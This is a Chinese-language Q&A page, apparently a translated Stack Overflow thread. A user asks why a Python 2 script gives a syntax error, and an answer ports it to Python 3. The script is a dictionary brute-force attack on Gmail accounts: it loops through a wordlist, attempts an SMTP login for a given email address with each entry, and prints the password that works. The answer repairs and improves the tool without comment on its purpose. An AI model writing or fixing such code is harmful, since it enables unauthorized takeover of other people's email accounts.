我一直在尝试写这个python代码时出现无效的语法错误。错误发生在"\n\n\n loggin
#!/usr/bin
import smtplib
file_name=raw_input("Enter name of your dictionary: ")
username=raw_input("Enter email id: ")
f=open(file_name,"r")
for name in f:
try:
session = smtplib.SMTP('smtp.gmail.com',587)
session.starttls()
session.ehlo
b = session.login(username,name[:-1])
except smtplib.SMTPAuthenticationError:
continue
else:
print "\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n"
break
答案 0 :(得分:0)
试试这个,因为看起来您的问题是Python版本问题。看起来你正在尝试使用Python 3运行Python 2代码。
#!/usr/bin
import smtplib
file_name=input("Enter name of your dictionary: ")
username=input("Enter email id: ")
with open(file_name,"r") as f:
for name in f:
try:
session = smtplib.SMTP('smtp.gmail.com',587)
session.starttls()
session.ehlo
b = session.login(username,name[:-1])
except smtplib.SMTPAuthenticationError:
continue
else:
print("\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n")
break
的变化:
raw_input
至input
。with
语句。您没有close()
来电。print
附近为打印电话添加了一些parens。如果不知道您所阅读文件的预期内容/格式,我就可以提供帮助。